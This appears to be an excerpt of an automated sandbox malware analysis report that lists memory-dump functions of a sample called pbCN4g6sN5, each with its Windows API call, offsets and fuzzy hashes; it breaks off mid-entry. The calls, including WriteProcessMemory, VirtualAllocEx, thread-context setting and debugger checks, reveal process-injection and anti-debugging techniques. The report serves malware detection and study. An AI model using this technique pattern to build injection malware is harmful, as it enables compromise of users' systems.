Instruction Fuzzy Hash: 86318FB790468ACFDB22CF59EA407DEBFE0FB49360F14842AD958A7300C3345655DBA1

Function 0587EC70 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0587ED82

Memory Dump Source

Source File: 00000000.00000002.2384785521.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5870000_pbCN4g6sN5.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 3a00c17c98d47c936d3098196b26278957eb958f2c95016e461221b8d14fb0e7
Instruction ID: ef6297d28d058f8c97ad03f2180573cfc293e0555f908a12837d4bba91e627f7
Opcode Fuzzy Hash: 3a00c17c98d47c936d3098196b26278957eb958f2c95016e461221b8d14fb0e7
Instruction Fuzzy Hash: 5741C0B1D10309DFDB14CFA9C884ADEBFB5BF48310F64812AE819AB250D7719945CF90

Function 05971080 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05971141

Memory Dump Source

Source File: 00000000.00000002.2384829928.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5970000_pbCN4g6sN5.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: f7ae6916488a7e600386c9613b83fa17d422c3bc72dd4ef71e9dabbece0f31a9
Instruction ID: 5fbd9e26f8eb545b77f53862f1eb7f8e26773291d9d84c4505f77598bcd5c976
Opcode Fuzzy Hash: f7ae6916488a7e600386c9613b83fa17d422c3bc72dd4ef71e9dabbece0f31a9
Instruction Fuzzy Hash: F14136B4A00309CFDB14CF89C848AAABBF5FB89314F25C459D519AB321D735A841CFA0

Function 00A1D8B0 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNELBASE(00000000,?), ref: 00A1D92F

Memory Dump Source

Source File: 00000000.00000002.2376261436.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_pbCN4g6sN5.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: e758b6b3fafe922aa13d587d4a535f4345ffbc07e6dc96d0f4e74e70f4a37428
Instruction ID: 4c6aabdde798fb99355779da05900897e4ebfc9461da52e4702354d487c7cbd6
Opcode Fuzzy Hash: e758b6b3fafe922aa13d587d4a535f4345ffbc07e6dc96d0f4e74e70f4a37428
Instruction Fuzzy Hash: 882178B28002198FCB00CF99C4847EEBBF4EF49320F14842AE858B3250D738AA45CF60

Function 08EAD760 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 08EAD7F0

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b119d13a8b04341f723c6ad5100faef8695e57435e0cfe243961f06cca6af145
Instruction ID: 52c5fdac56b6eab0e0c7b41489e903036f3c5380fd44588fb28f8fad933a662d
Opcode Fuzzy Hash: b119d13a8b04341f723c6ad5100faef8695e57435e0cfe243961f06cca6af145
Instruction Fuzzy Hash: AF2139B69003599FCB10DFA9C885BDEBBF5FF48310F108429E959A7250C778A944CFA4

Function 0587AC59 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0587ACE7

Memory Dump Source

Source File: 00000000.00000002.2384785521.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5870000_pbCN4g6sN5.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d47ea24d6a4595a1e6bdac724b0f0e516754970a5326fe6309a517bf394388d5
Instruction ID: b0cbbef62d224548104fba34a12168baa25d2c20b83c2fcbcf27f6a020a78371
Opcode Fuzzy Hash: d47ea24d6a4595a1e6bdac724b0f0e516754970a5326fe6309a517bf394388d5
Instruction Fuzzy Hash: A621E4B5900258AFDB10CFAAD984ADEFFF4FB48310F14841AE954A3351C375A944CFA5

Function 08EAE2A0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 08EAE31E

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: be29bb863b552bc05e5a59acb8b31c8cd597d28747d0d9862719ba3047aa659a
Instruction ID: 9e49a1169925351bec1500647a7d6de58cfb1a9fed85ec43992387a6a13db4dc
Opcode Fuzzy Hash: be29bb863b552bc05e5a59acb8b31c8cd597d28747d0d9862719ba3047aa659a
Instruction Fuzzy Hash: 8B2149719003098FDB10DFAAC4857EEBBF4EF48324F108429D459A7240CB78A944CFA4

Function 08EACD38 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64GetThreadContext.KERNEL32(?,00000000), ref: 08EACDB6

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 208dd0b74eff5f22585ad9b3ecfbbe4d40ac3d8e87c5e8e5ea1a81a2789406c0
Instruction ID: fe89cd09c23c328f8f1a61f6a9d35224895ee3ee5f794cc0b0e03e8d4e4b5acc
Opcode Fuzzy Hash: 208dd0b74eff5f22585ad9b3ecfbbe4d40ac3d8e87c5e8e5ea1a81a2789406c0
Instruction Fuzzy Hash: 812118729003099FDB10DFAAC4857EEBFF4EF88324F54842AD559A7241CB78A944CFA5

Function 0587AC60 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0587ACE7

Memory Dump Source

Source File: 00000000.00000002.2384785521.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5870000_pbCN4g6sN5.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2ce3d3e7bb85507f69941cc15312d1df8c47b63c18f300e65350830d44cb4bb0
Instruction ID: 6057a9cdbea9e2672cfc16cc874913b52de66b115465f7bcad1d48d7905f7c5b
Opcode Fuzzy Hash: 2ce3d3e7bb85507f69941cc15312d1df8c47b63c18f300e65350830d44cb4bb0
Instruction Fuzzy Hash: AC21E4B5900208AFDB10CF9AD584ADEFFF4FB48310F14841AE914A3350C375A944CFA4

Function 08EAE000 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 08EAE077

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 528f69b1254ba326a17aadd45b0488f3157e6a865bd631c046f603fd6bb31356
Instruction ID: bfafe7cf02d53096f1fe16b34c73312c7cc987c95f98973da989858eaa6194b8
Opcode Fuzzy Hash: 528f69b1254ba326a17aadd45b0488f3157e6a865bd631c046f603fd6bb31356
Instruction Fuzzy Hash: B22129718003499FDB10DFAAC485BEEBBF5EF48320F508429D559A7250C779A544CFA1

Function 08EA3F60 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 08EA3FDB

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ebeb9591270e5eb273b0c2c001df31a12db546d3ea0a65f9e93642c9ccf1b370
Instruction ID: ca1840b0ef6dbd15ccfdf7ed71b0403ce46809639d5456626460c5bf601a8e85
Opcode Fuzzy Hash: ebeb9591270e5eb273b0c2c001df31a12db546d3ea0a65f9e93642c9ccf1b370
Instruction Fuzzy Hash: BC21F4B69002499FCB10CF9AC584BDEBBF4BB48324F10842AE558A7250D375A545CFA5

Function 06D09DC0 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 06D09E30

Memory Dump Source

Source File: 00000000.00000002.2385866228.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_pbCN4g6sN5.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 3afc5e676c55dd0729ac1d8bf3a121c8f210e919b49ba9e789cf053eae86be78
Instruction ID: f92f5247c9e7509734d15424b71897d92c541ab61ae5a7256f3836a75dda1cb4
Opcode Fuzzy Hash: 3afc5e676c55dd0729ac1d8bf3a121c8f210e919b49ba9e789cf053eae86be78
Instruction Fuzzy Hash: 8F1103B1C0065A9BDB14CF9AC544BDEFBF4BB48320F15812AD858A7391D738A944CFA5

Function 077FCE48 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 077FCEBB

Memory Dump Source

Source File: 00000000.00000002.2387368395.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77f0000_pbCN4g6sN5.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7359f6005607a6f85870ac164b6b08d30c18735c66e597d1d1a6d0119d04ba04
Instruction ID: 97974f195845c1afd826b93546e19553211f12c8e52094b059fe0d72a0018c26
Opcode Fuzzy Hash: 7359f6005607a6f85870ac164b6b08d30c18735c66e597d1d1a6d0119d04ba04
Instruction Fuzzy Hash: 7A21E4B59002499FCB10DF9AC584BDEFBF4FB48320F10842AE958A7351D378A644CFA5

Function 08EA3F68 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 08EA3FDB

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d3e9be42927d563b18de8bb8ce25478f5563065db94a57ba73c7fd95f7436f7c
Instruction ID: d8d27d1293cbcfd6bbd492658d829abda3e544f212f122a2cbf0ac3741f8ec56
Opcode Fuzzy Hash: d3e9be42927d563b18de8bb8ce25478f5563065db94a57ba73c7fd95f7436f7c
Instruction Fuzzy Hash: 9A2103B69002499FCB10CF9AC484BDEFBF4EB48320F108429E858A7250D379A544CFA5

Function 00A1B534 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

OutputDebugStringW.KERNELBASE(00000000), ref: 00A1DAB0

Memory Dump Source

Source File: 00000000.00000002.2376261436.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_pbCN4g6sN5.jbxd

Similarity

API ID: DebugOutputString
String ID:
API String ID: 1166629820-0
Opcode ID: a8494805acb9b2339d459328f2138094437d6253d608a7a92ed21b41ae679db0
Instruction ID: 9e86fd6b85a13bed0dcf83f5624b72ba964390e40c372db2b012e322b032713d
Opcode Fuzzy Hash: a8494805acb9b2339d459328f2138094437d6253d608a7a92ed21b41ae679db0
Instruction Fuzzy Hash: AD1100B1C046599BCB14CF9AD544ADEFBB4FB48320F14812AD819A7250D774AA84CFA5

Function 08EAD420 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 08EAD48E

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: eba5c81728784d6455a8c2749946931bd29904f98fd205f25ff834c92becbf0a
Instruction ID: f4fcce582af72bb0a8386d9a57a66664f5609d7bc432934cc9d71da0004f249d
Opcode Fuzzy Hash: eba5c81728784d6455a8c2749946931bd29904f98fd205f25ff834c92becbf0a
Instruction Fuzzy Hash: 471137729002499FCB10DFAAC845BDEBFF5EF88324F108819E559A7250C775A544CFA0

Function 00A1DA38 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

OutputDebugStringW.KERNELBASE(00000000), ref: 00A1DAB0

Memory Dump Source

Source File: 00000000.00000002.2376261436.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_pbCN4g6sN5.jbxd

Similarity

API ID: DebugOutputString
String ID:
API String ID: 1166629820-0
Opcode ID: 18c32c8163f332011b4d509008c3a1061aa789fed33ec3b65a7023f792581d0e
Instruction ID: e62cb8ccf94ebc8b8c592fc8ea61f13620942b68f6dbf479c826869d54729404
Opcode Fuzzy Hash: 18c32c8163f332011b4d509008c3a1061aa789fed33ec3b65a7023f792581d0e
Instruction Fuzzy Hash: B71142B1C0465A9BCB00CF9AD444BDEFBB4FF48320F14826AD828A7240D374A984CFA5

Function 08EAE508 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 08EAE56A

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 99be79b2c9cb734baeee6c965b2067f66d98b8fe0415dae949f65930fbdb712f
Instruction ID: 2a2f4d52d426f51f642970d1b9513121ff93fd412d3aff420a081e53239b6b0a
Opcode Fuzzy Hash: 99be79b2c9cb734baeee6c965b2067f66d98b8fe0415dae949f65930fbdb712f
Instruction Fuzzy Hash: 161136B19003498FDB20DFAAD4457DEFBF4EB88324F248829D459A7250DB75A944CFA4

Function 05878578 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 058785DE

Memory Dump Source

Source File: 00000000.00000002.2384785521.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5870000_pbCN4g6sN5.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 65cf7a3fa75a7432ec9a9b5f08f20622116689ff289c1518fbabc12e1203c122
Instruction ID: fa48728ee97c2ff8fd15181e9fc4c4790b737408c0bb50143f25625ac8f1f6a8
Opcode Fuzzy Hash: 65cf7a3fa75a7432ec9a9b5f08f20622116689ff289c1518fbabc12e1203c122
Instruction Fuzzy Hash: CB11E0B5C003498FCB10CF9AC448ADEFBF4AB88324F10842AD869A7610D375A545CFA5

Function 08EADAD8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 08EAE9FD

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 4c4eed14957825b0ea770a4cc7846654aca225d8e4a126bca51ac74aae34b8c9
Instruction ID: 491344924253d05a57f3d7f0ac0384085df0343ba21681ef2b069910a3d865b6
Opcode Fuzzy Hash: 4c4eed14957825b0ea770a4cc7846654aca225d8e4a126bca51ac74aae34b8c9
Instruction Fuzzy Hash: 3F11F2B58003499FDB20DF9AC849BDEBBF8EB48324F108459E558B7240C375A984CFA5

Function 00A1DADC Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

OutputDebugStringW.KERNELBASE(00000000), ref: 00A1DAB0

Memory Dump Source

Source File: 00000000.00000002.2376261436.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_pbCN4g6sN5.jbxd

Similarity

API ID: DebugOutputString
String ID:
API String ID: 1166629820-0
Opcode ID: 251533c418ae7d75e67ed3cff413542e25a08db967df1911db5269007adbd55c
Instruction ID: 5f9012dd504bf52794da0205047866d15e4ba6bebe063b7fe4690a3c71db4f08
Opcode Fuzzy Hash: 251533c418ae7d75e67ed3cff413542e25a08db967df1911db5269007adbd55c
Instruction Fuzzy Hash: 96F090B2C0C254DEDB11DB99D8043D9FFB0EF15359F08818AD058A7251C3795195CBA5

Function 0764E270 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

4'iq, xrefs: 0764E2DD

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: 4'iq
API String ID: 0-4029837771
Opcode ID: 0d89399855b2d71146ba39f7229ea78ead13e794efdcd67f4df0caf2203e867d
Instruction ID: 1f88b80ec482a0a2fcaa9ae192509487cf97c9793a8f332deaf5b56977b8f6b8
Opcode Fuzzy Hash: 0d89399855b2d71146ba39f7229ea78ead13e794efdcd67f4df0caf2203e867d
Instruction Fuzzy Hash: A871A374B142068FCB08EFB9D559A7E7BB6FB85200F458829D402D7368EB3ADD068B50

Function 07640448 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

(mq, xrefs: 07640470

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: (mq
API String ID: 0-2407469369
Opcode ID: 934c81fbd76420f5a6d3636f5deef5e283407b1f7e945c5c83ecd340a660fe59
Instruction ID: 69d05be073ab070a718a789d5de2eb1156df73ae7556f80737d359ebb25b6128
Opcode Fuzzy Hash: 934c81fbd76420f5a6d3636f5deef5e283407b1f7e945c5c83ecd340a660fe59
Instruction Fuzzy Hash: 82318E71E0025A8FCB00EFB9D8405EEBBB4EF89320F14816AD559E7251EB309956CBA1

Function 0764C3C4 Relevance: .6, Instructions: 619COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 324b9f9cc70967c87ddeb2bf47df8886bde78e6f20de588997bb46123488d286
Instruction ID: 7671cee9e9354dd460026e274b421a4ca51a48aab8c67d9b7a36e4626f678450
Opcode Fuzzy Hash: 324b9f9cc70967c87ddeb2bf47df8886bde78e6f20de588997bb46123488d286
Instruction Fuzzy Hash: AFE1A174B112048FCB04FBB8D699A6E7BF6EB89210F804879D446E7368DF39AD05C761

Function 0764C39D Relevance: .6, Instructions: 585COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a1f7edd96afcbef23db76f2ddfbc2ab87797a335f402f0713d69577f8342f4
Instruction ID: 72d915e7ed04093570f376b078b0cc5f99bf578867f74eb8b680312cbe5c7eb8
Opcode Fuzzy Hash: e8a1f7edd96afcbef23db76f2ddfbc2ab87797a335f402f0713d69577f8342f4
Instruction Fuzzy Hash: 25E1B174B152048FC704FBB8D69966E7BF6EB89210F804879D446E7368DF39AC05C761

Function 0764B957 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab1554324c5b4b283f725787960f6ba8dbb9932de606ae552823aedff04083c9
Instruction ID: 19a758ea1d0ce4b2964c91737a5ca17170ec74b54b3eab0ccd244dada240f83f
Opcode Fuzzy Hash: ab1554324c5b4b283f725787960f6ba8dbb9932de606ae552823aedff04083c9
Instruction Fuzzy Hash: 1BF1E5706193408FC305BB78D96961D7FF5EF86210F4589AED48ACB3A9DE389C09C752

Function 0764C578 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b93f287018215f3031e2c56644cc1eddd22ba4a8a377b4e8feebe952d3eedac
Instruction ID: b8faf96f32a0ed2578be493d199c5b6fcaa79bbefa570973e2d59c66e070230b
Opcode Fuzzy Hash: 5b93f287018215f3031e2c56644cc1eddd22ba4a8a377b4e8feebe952d3eedac
Instruction Fuzzy Hash: 39E1C174A152048FC704FBB8D699A6E7BF6EF89210F404879D446E73A8DF38AC05C761

Function 0764CBC7 Relevance: .4, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 865d88e1f15e08bc1d0b815795cb6f31c88047c479e839dd3be82183b690ca5b
Instruction ID: f7491f265c155cb31eda339aa459333f2c54aaeba4dc0c2b65a0af2f94ff42bc
Opcode Fuzzy Hash: 865d88e1f15e08bc1d0b815795cb6f31c88047c479e839dd3be82183b690ca5b
Instruction Fuzzy Hash: 19F15C78F112048BCB54BF78E95969DBBF6EB88300F4084A9D546E3368DF38AD46CB51

Function 0764B96F Relevance: .4, Instructions: 418COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 342d1aa7ba11da29c6791bcfa659572681e1f5bba8fc4a779bba8fdbaf271c0c
Instruction ID: ffb5b6d5107fc0d95c9421996de1b099acf0e4ee4a9bdab743be95cbb70dc67b
Opcode Fuzzy Hash: 342d1aa7ba11da29c6791bcfa659572681e1f5bba8fc4a779bba8fdbaf271c0c
Instruction Fuzzy Hash: 71E1E6706193408FC306BB78D96861D7FF5EF86210F4589EED4CACB2A6DA389C09C752

Function 0764CBA3 Relevance: .4, Instructions: 418COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ced1439d043ce01cec92e5e4feffe30f32950046dcf29881a80e5a95a590edc6
Instruction ID: d114924f1db7712e5f196a62acf36d0793a641e14722b87e4c47b377f0532e5f
Opcode Fuzzy Hash: ced1439d043ce01cec92e5e4feffe30f32950046dcf29881a80e5a95a590edc6
Instruction Fuzzy Hash: D7F15D78F112048BCB54BF78E95969D7BB6FB88300F4084A9D546E3368DF38AD46CB51

Function 0764AB60 Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23fb47a13f803d6fda51b38e44ad6ff366176b6b133422f0165413ec486fba8
Instruction ID: 193c03033feee43f9a895a208cf7e6d63b48335e928b31474de2b774bfee2459
Opcode Fuzzy Hash: a23fb47a13f803d6fda51b38e44ad6ff366176b6b133422f0165413ec486fba8
Instruction Fuzzy Hash: 83D1B470A102058FCB04FBB8E99DA6E7BF6EF88610F858469D449A7368DF38EC05C750

Function 0764AB39 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe4b7cde67363bd78758ed40773035400b94fa896408576881d580cdeb8d4334
Instruction ID: 468452ab7b32e129c3cc96130c95b88b8ab7973710acfbcf9aa104570618e7fe
Opcode Fuzzy Hash: fe4b7cde67363bd78758ed40773035400b94fa896408576881d580cdeb8d4334
Instruction Fuzzy Hash: 1591E570A103048FCB05FBB8D99CA6E7FB6EF49200F45846AD845E73A9DA38AC06C750

Function 0764DFDD Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6364739374bc745d60b83b61466e461468ff558ea84e256ff9d30acaf9658e71
Instruction ID: 01526fcae7e410e626d1d0825293c2da1c1db05b549162dd388dd01389c1b47e
Opcode Fuzzy Hash: 6364739374bc745d60b83b61466e461468ff558ea84e256ff9d30acaf9658e71
Instruction Fuzzy Hash: 71614330B142018FC705FBB8E999A2EBFB6EB89210F44457AC445E73A9DE38AC05C791

Function 07640B61 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e62201d5e2d1b22ebc6b8b1816bb011e97c035031d44776b13e721280cbcdb95
Instruction ID: 52a58646f672b2b753b61786794ea462a8805c0986eda83503854f0422d59751
Opcode Fuzzy Hash: e62201d5e2d1b22ebc6b8b1816bb011e97c035031d44776b13e721280cbcdb95
Instruction Fuzzy Hash: 4B415D7190071ADBDB14DFB9C48469DFBB1FF88310F14C66AE9096B264EB70A985CF90

Function 07640550 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 239bfb9f8d17d4b05a79284601cc8e372f9cdc500348e50eedbe369beaa378b0
